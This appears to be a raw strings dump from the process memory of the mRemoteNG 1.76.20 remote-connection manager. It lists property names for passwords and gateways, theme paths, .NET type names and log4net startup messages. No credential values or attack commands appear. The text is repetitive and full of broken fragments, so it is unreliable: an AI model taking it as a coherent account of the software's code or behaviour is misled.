UI Segoe UI Segoe UI PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles System System System System NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles System System NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles tvConnections_AfterSelect (UI.Window.ConnectionTreeWindow) failed FilteredPropertyGrid: Could not hide Property. FilteredPropertyGrid: Property not found Name Password PasswordString DefaultPassword Type Children IsExpanded IsContainer Inheritance OpenConnections IsDefault Parent IsQuickConnect PleaseConnect Description Icon Panel Hostname Username Password Domain Protocol ExtApp Port PuttySession ICAEncryptionStrength UseConsoleSession RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo RenderingEngine UseCredSsp RDGatewayUsageMethod RDGatewayHostname RDGatewayUseConnectionCredentials RDGatewayUsername RDGatewayPassword RDGatewayDomain Resolution AutomaticResize Colors CacheBitmaps DisplayWallpaper DisplayThemes EnableFontSmoothing EnableDesktopComposition RedirectKeys RedirectDiskDrives RedirectPrinters RedirectPorts RedirectSmartCards RedirectSound SoundQuality ConstantID PreExtApp PostExtApp MacAddress UserField VNCCompression VNCEncoding VNCAuthMode VNCProxyType VNCProxyIP VNCProxyPort VNCProxyUsername VNCProxyPassword VNCColors VNCSmartSizeMode VNCViewOnly PropDescCreate ReflectPropertyDescriptor: Dump errors when creating property info PropDescUsage ReflectPropertyDescriptor: Debug propertydescriptor usage PropDesc ReflectPropertyDescriptor: Debug property descriptor Children IsExpanded IsContainer Inheritance OpenConnections IsDefault Parent IsQuickConnect PleaseConnect Name Description Icon Panel Hostname Username Password Domain Protocol ExtApp Port PuttySession ICAEncryptionStrength UseConsoleSession RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo RenderingEngine UseCredSsp RDGatewayUsageMethod RDGatewayHostname RDGatewayUseConnectionCredentials RDGatewayUsername RDGatewayPassword RDGatewayDomain Resolution AutomaticResize Colors CacheBitmaps DisplayWallpaper DisplayThemes EnableFontSmoothing EnableDesktopComposition RedirectKeys RedirectDiskDrives RedirectPrinters RedirectPorts RedirectSmartCards RedirectSound SoundQuality ConstantID PreExtApp PostExtApp MacAddress UserField VNCCompression VNCEncoding VNCAuthMode VNCProxyType VNCProxyIP VNCProxyPort VNCProxyUsername VNCProxyPassword VNCColors VNCSmartSizeMode VNCViewOnly Name Description Icon Panel Hostname Username Password Domain Protocol ExtApp Port PuttySession ICAEncryptionStrength UseConsoleSession RDPAuthenticationLevel RDPMinutesToIdleTimeout RDPAlertIdleTimeout LoadBalanceInfo RenderingEngine UseCredSsp RDGatewayUsageMethod RDGatewayHostname RDGatewayUseConnectionCredentials RDGatewayUsername RDGatewayPassword RDGatewayDomain Resolution AutomaticResize Colors CacheBitmaps DisplayWallpaper DisplayThemes EnableFontSmoothing EnableDesktopComposition RedirectKeys RedirectDiskDrives RedirectPrinters RedirectPorts RedirectSmartCards RedirectSound SoundQuality ConstantID PreExtApp PostExtApp MacAddress UserField VNCCompression VNCEncoding VNCAuthMode VNCProxyType VNCProxyIP VNCProxyPort VNCProxyUsername VNCProxyPassword VNCColors VNCSmartSizeMode VNCViewOnly strCategoryDisplay strConnections strPropertyNameName strPropertyDescriptionName strCategoryDisplay strPropertyNameName strPropertyDescriptionName strCategoryDisplay strPasswordProtect mRemoteNG.Tools.MiscTools+YesNoTypeConverter mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null System.Collections.Generic.Mscorlib_CollectionDebugView`1 System.Collections.Generic.Mscorlib_CollectionDebugView`1, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Count = {Count} Item Item System.SZArrayHelper System.SZArrayHelper System.SZArrayHelper Item System.SZArrayHelper Item System.SZArrayHelper Item WindowsBase, Version=3.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35 Name Name Valid for mRemoteNG v1.75 (confCons v2.6) or earlier strCategoryDisplay strPropertyNameDescription strPropertyDescriptionDescription strCategoryDisplay mRemoteNG.Connection.ConnectionIcon mRemoteNG.Connection.ConnectionIcon, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strPropertyNameIcon strPropertyDescriptionIcon strCategoryDisplay strPropertyNamePanel strPropertyDescriptionPanel strCategoryConnection strPropertyNameAddress strPropertyDescriptionAddress strCategoryConnection strPropertyNameUsername strPropertyDescriptionUsername strCategoryConnection strPropertyNameDomain strPropertyDescriptionDomain strCategoryProtocol strPropertyNameProtocol strPropertyDescriptionProtocol mRemoteNG.Tools.MiscTools+EnumTypeConverter mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNameExternalTool strPropertyDescriptionExternalTool mRemoteNG.Tools.ExternalToolsTypeConverter mRemoteNG.Tools.ExternalToolsTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNamePort strPropertyDescriptionPort strCategoryProtocol strPropertyNamePuttySession strPropertyDescriptionPuttySession mRemoteNG.Config.Putty.PuttySessionsManager+SessionList mRemoteNG.Config.Putty.PuttySessionsManager+SessionList, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNameEncryptionStrength strPropertyDescriptionEncryptionStrength mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNameUseConsoleSession strPropertyDescriptionUseConsoleSession mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNameAuthenticationLevel strPropertyDescriptionAuthenticationLevel mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNameRDPMinutesToIdleTimeout strPropertyDescriptionRDPMinutesToIdleTimeout strCategoryProtocol strPropertyNameRDPAlertIdleTimeout strPropertyDescriptionRDPAlertIdleTimeout strCategoryProtocol strPropertyNameLoadBalanceInfo strPropertyDescriptionLoadBalanceInfo strCategoryProtocol strPropertyNameRenderingEngine strPropertyDescriptionRenderingEngine mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryProtocol strPropertyNameUseCredSsp strPropertyDescriptionUseCredSsp mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryGateway strPropertyNameRDGatewayUsageMethod strPropertyDescriptionRDGatewayUsageMethod mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryGateway strPropertyNameRDGatewayHostname strPropertyDescriptionRDGatewayHostname strCategoryGateway strPropertyNameRDGatewayUseConnectionCredentials strPropertyDescriptionRDGatewayUseConnectionCredentials mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryGateway strPropertyNameRDGatewayUsername strPropertyDescriptionRDGatewayUsername strCategoryGateway strPropertyNameRDGatewayPassword strPropertyNameRDGatewayPassword strCategoryGateway strPropertyNameRDGatewayDomain strPropertyDescriptionRDGatewayDomain strCategoryAppearance strPropertyNameResolution strPropertyDescriptionResolution mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameAutomaticResize strPropertyDescriptionAutomaticResize mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameColors strPropertyDescriptionColors mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameCacheBitmaps strPropertyDescriptionCacheBitmaps mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameDisplayWallpaper strPropertyDescriptionDisplayWallpaper mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameDisplayThemes strPropertyDescriptionDisplayThemes mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameEnableFontSmoothing strPropertyDescriptionEnableFontSmoothing mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameEnableDesktopComposition strPropertyDescriptionEnableDesktopComposition mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameRedirectKeys strPropertyDescriptionRedirectKeys mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameRedirectDrives strPropertyDescriptionRedirectDrives mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameRedirectPrinters strPropertyDescriptionRedirectPrinters mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameRedirectPorts strPropertyDescriptionRedirectPorts mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameRedirectSmartCards strPropertyDescriptionRedirectSmartCards mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameRedirectSounds strPropertyDescriptionRedirectSounds mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryRedirect strPropertyNameSoundQuality strPropertyDescriptionSoundQuality mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryMiscellaneous strPropertyNameExternalToolBefore strPropertyDescriptionExternalToolBefore mRemoteNG.Tools.ExternalToolsTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryMiscellaneous strPropertyNameExternalToolAfter strPropertyDescriptionExternalToolAfter mRemoteNG.Tools.ExternalToolsTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryMiscellaneous strPropertyNameMACAddress strPropertyDescriptionMACAddress strCategoryMiscellaneous strPropertyNameUser1 strPropertyDescriptionUser1 strCategoryAppearance strPropertyNameCompression strPropertyDescriptionCompression mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameEncoding strPropertyDescriptionEncoding mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryConnection strPropertyNameAuthenticationMode strPropertyDescriptionAuthenticationMode mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryMiscellaneous strPropertyNameVNCProxyType strPropertyDescriptionVNCProxyType mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryMiscellaneous strPropertyNameVNCProxyAddress strPropertyDescriptionVNCProxyAddress strCategoryMiscellaneous strPropertyNameVNCProxyPort strPropertyDescriptionVNCProxyPort strCategoryMiscellaneous strPropertyNameVNCProxyUsername strPropertyDescriptionVNCProxyUsername strCategoryMiscellaneous strPropertyNameVNCProxyPassword strPropertyDescriptionVNCProxyPassword strCategoryAppearance strPropertyNameColors strPropertyDescriptionColors mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameSmartSizeMode strPropertyDescriptionSmartSizeMode mRemoteNG.Tools.MiscTools+EnumTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null strCategoryAppearance strPropertyNameViewOnly strPropertyDescriptionViewOnly mRemoteNG.Tools.MiscTools+YesNoTypeConverter, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null Name NoSort Alphabetical Categorized CategorizedAlphabetical PropertiesCategorized PbrsAssertProps PropertyBrowser : Assert on broken properties mRemoteNG.Tree.Root.RootNodeInfo System.ComponentModel.Design.DateTimeEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.Design.ArrayEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.Design.CollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.ComponentModel.Design.BinaryEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Windows.Forms.Design.StringArrayEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Windows.Forms.Design.StringCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Display Display Display Display Display Display Connection Connection Connection Connection Protocol Protocol Protocol Protocol Protocol Protocol Protocol Protocol Protocol Protocol Protocol Protocol Protocol Gateway Gateway Gateway Gateway Gateway Gateway Gateway Appearance Appearance Appearance Appearance Appearance Appearance Appearance Appearance Appearance Redirect Redirect Redirect Redirect Redirect Redirect Redirect Redirect Miscellaneous Miscellaneous Miscellaneous Miscellaneous Miscellaneous Appearance Appearance System.Windows.Forms.PropertyGridInternal.CategoryGridEntry System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Appearance System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Protocol System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Redirect System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Gateway System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Connection System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Miscellaneous System.Windows.Forms.PropertyGridInternal.CategoryGridEntry Display PropertyGridView PropertyGridView Name PropertyGridDropDownButtonComboBoxAccessibleName PropertyGridDropDownButtonAccessibleName Browse... UseVisualStyleBackColor system.drawing System.Windows.F System.Windows.Forms orms.dotdotdot.i System.Windows.Forms.dotdotdot.ico PropertyGridView PropertyGridView System.Windows.F orms.Arrow.ico System.Windows.Forms.Arrow.ico PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridResetValue This is the name that will be displayed in the connections tree. C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico mRemoteNG.ico C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar CredentialRecord PropertiesCategorized PropertiesCategorized PropertyGridView PropertyGridView Hostname/IP Password protect Protocol Use Gateway Resolution Key Combinations External Tool Before This is the name that will be displayed in the connections tree. This is the name that will be displayed in the connections tree. Name Name This is the name that will be displayed in the connections tree. This is the name that will be displayed in the connections tree. Name Name PropertyGrid PropertyGrid PropertyGrid PropertyGrid Description Pane Description Pane Description Pane Description Pane Name Name Name Name This is the name that will be displayed in the connections tree. This is the name that will be displayed in the connections tree. This is the name that will be displayed in the connections tree. This is the name that will be displayed in the connections tree. PropertyGridView PropertyGridView PropertyGridView PropertyGridView {F8B80ADA-2C44-48D0-89BE-5FF23C9CD875} Segoe UI Segoe UI Segoe UI mRemoteNG.Tools.MiscTools+YesNoTypeConverter strYes ShouldSerialize ShouldSerializePassword Segoe UI Segoe UI Segoe UI PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar Connection_mRemoteNG_Default PAM SSH PAM SSH PAM SSH PAM SSH System Connections Connections Connections Connections System PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar PropertyGridToolBar System System System System System System System System mRemoteNG mRemoteNG mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. CheckForUpdatesOnStartup CheckForUpdatesLastCheck Hhms HH:mm:ss Format_BadDateTime ArgumentNull_String Format_BadDateTimeCalendar Format_BadDayOfWeek Format_UnknowDateTimeWord charinfo.nlp ddd, dd MMM yyyy HH':'mm':'ss 'GMT' yyyy'-'MM'-'dd'T'HH':'mm':'ss yyyy'-'MM'-'dd HH':'mm':'ss'Z' yyyy'-'MM'-'dd'T'HH':'mm':'ss.fffffffK MMMM Format_BadDatePattern Format_MissingIncompleteDate CheckForUpdatesFrequencyDays UpdatePending System System System Connection_mRemoteNG_Default PAM SSH PAM SSH Connections Connections Connections Connections System System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing ThemeName theme mRemoteNG.Settings ThemingActive value__ IntApp PopulateQuickConnectProtocolMenu() failed. QuickConnectProtocol WindowsFormsParkingWindow WindowsForms10.COMBOBOX.app.0.129c866_r7_ad1 129c866 129c866_r7_ad1 129c866_r7 WindowsForms10.COMBOBOX.app.0.129c866_r7_ad1 Segoe UI Segoe UI Sego UIAutomationCore.dll UiaDisconnectProvider Switch.System.Windows.Forms.EnableLegacyIMEFocusInComboBox \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 SSH1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 SSH2 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Telnet \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Rlogin \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 HTTP \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 HTTPS \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 TextBox_Background TextBox_Foreground _lblMultiSsh Multi SSH: _txtMultiSsh Press ENTER to send. Ctrl+C is sent immediately. EDIT \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 tsExternalTools cMenToolbar cMenToolbarShowText \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 strMenuShowText Show Text \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 WindowsForms10.EDIT.app.0.129c866_r7_ad1 129c866 129c866_r7_ad1 129c866_r7 WindowsForms10.EDIT.app.0.129c866_r7_ad1 Segoe UI Segoe UI Segoe UI \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 mRemote_Icon System.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a height.Drawing.Sizesion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Icon IconData IconSize System.Drawing.Size System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing System.Drawing.Icon System.Drawing.Size width height System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing System.Drawing.Size ValueType width height ValueType Fixup Stack Value / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR IconData IconSize \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ Microsoft Sans Serif Microsoft Sans Serif Microsoft Sans Serif \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 CommandBarMenuDefault_Background Dialog_Background Dialog_Foreground Error applying theme frmMain WndProc failed mRemoteNG mRemoteNG mRemoteNG mRemoteNG \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 mRemoteNG mRem Security Exception (ControlAppDomain LinkDemand) while trying to register Shutdown handler with the AppDomain. LoggerManager.Shutdown() will not be called automatically when the AppDomain exits. It must be called programmatically. log4net.RepositorySelector Exception while resolving RepositorySelector Type [ Exception while creating RepositorySelector [ RepositorySelector Type [ ] is not an IRepositorySelector log4net assembly [ Loaded from [ (.NET Runtime [ on log4net asH [log4net,H log4net, Version=2.0.8.0, Culture=neutral, PublicKeyToken=669e0ddf0bb1aa2a on=2.0.8.0, Culture=neutral, PublicKeyToken=669e0ddf0bb1aa2a ]. Loaded from [C:\Program Files (x86)\mRemoteNG\log4net.dll]. (.NET Runtime [4.0.3031 (null) NOT AVAILABLE log4net.NullText Initializing NullText value to [ log4net.NotAvailableText Initializing NotAvailableText value to [ Exception while reading ConfigurationSettings. Check your .config file is well formed XML. Global Assembly Cache Dynamic Assembly Location Detect Failed ( Location Permission Denied C:\Program Files (x86)\mRemoteNG\log4net.dll C:\Program Files (x86)\mRemoteNG\log4net.dll 4.0.30319.42000 0] on Microsoft Windows NT 6.2.9200.0) Microsoft Windows NT Microsoft Windows 98 Microsoft Windows 95 Microsoft Win32S Microsoft Windows CE Mac OS X 6.2.92$ Microsoft Windows NT 6.2.9200.0 log4net assembly [log4net, Version=2.0.8.0, Culture=neutral, PublicKeyToken=669e0ddf0bb1aa2a]. Loaded from [C:\Program Files (x86)\mRemoteNG\log4net.dll]. (.NET Runtime [4.0.30319.42000] on Microsoft Windows NT 6.2.920 log4net.Internal.Debug log4net.Internal.Quiet log4net.Internal.Emit ] is not in proper bool form. log4net: defaultRepositoryType [ log4net.Repository.Hierarchy.Hierarchy defaultRepositoryType [log4net.Repository.Hierarchy.Hierar log4net-default-repository Creating repository for assembly [ Assembly [ ] using repository [ ] and repository type [ Failed to configure repository [ ] from assembly attributes. repository [ ] already exists, using repository type [ Creating repository for assembly [mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken= ] Loaded From [ ] does not have a RepositoryAttribute specified. ] has multiple log4net.Config.RepositoryAttribute assembly attributes. Only using first occurrence. ] has a RepositoryAttribute but it does not!. DefaultRepositorySelector: Repository Type [ ] must implement the ILoggerRepository interface. Unhandled exception in GetInfoForAssembly C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe Assembly [mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null] Loaded From 